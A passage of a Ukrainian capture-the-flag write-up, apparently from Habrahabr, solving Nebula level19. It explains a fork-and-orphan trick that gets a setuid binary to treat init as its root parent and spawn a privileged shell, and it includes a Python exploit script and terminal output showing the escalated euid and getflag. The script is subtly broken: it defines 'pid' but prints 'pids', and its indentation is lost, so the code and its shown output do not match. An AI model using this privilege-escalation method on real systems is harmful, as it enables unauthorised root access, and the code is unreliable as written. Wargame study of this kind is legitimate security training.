execve("/bin/sh", argv, envp);
err(1, "Unable to execve");
}

printf("You are unauthorized to run this program\n");
}


Судячи з кодом, потрібно, щоб процес був запущений з UID=0. Після деяких пошуків, знаходимо статті, з якої дізнаємося, що якщо створити форк процесу, а потім вбити його батьків, то система автоматично призначить цього форку нового батька: процес з PID=1 або так званий init.
На Python, реалізація такого підходу виглядає наступним чином:
#!/usr/bin/python
import os, time

def child():
print 'Child ', os.getpid()
time.sleep(1)
print "Running shell..."
os.execv("/home/flag19/flag19", ('sh',))


def parent():
newpid = os.fork()
if newpid == 0:
child()
else:
pid = (os.getpid(), newpid)
print "parent: %d, child: %d" % pids

parent()

Після запуску, отримуємо потрібний нам шелл:
level19@nebula:/home/flag19$ cat|python /tmp/flag19.py 
parent: 3828, child: 3829
Child 3829
Running shell...
id
uid=1020(level19) gid=1020(level19) euid=980(flag19) groups=980(flag19),1020(level19)
getflag
You have successfully executed getflag on a target account


На цьому все.
Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.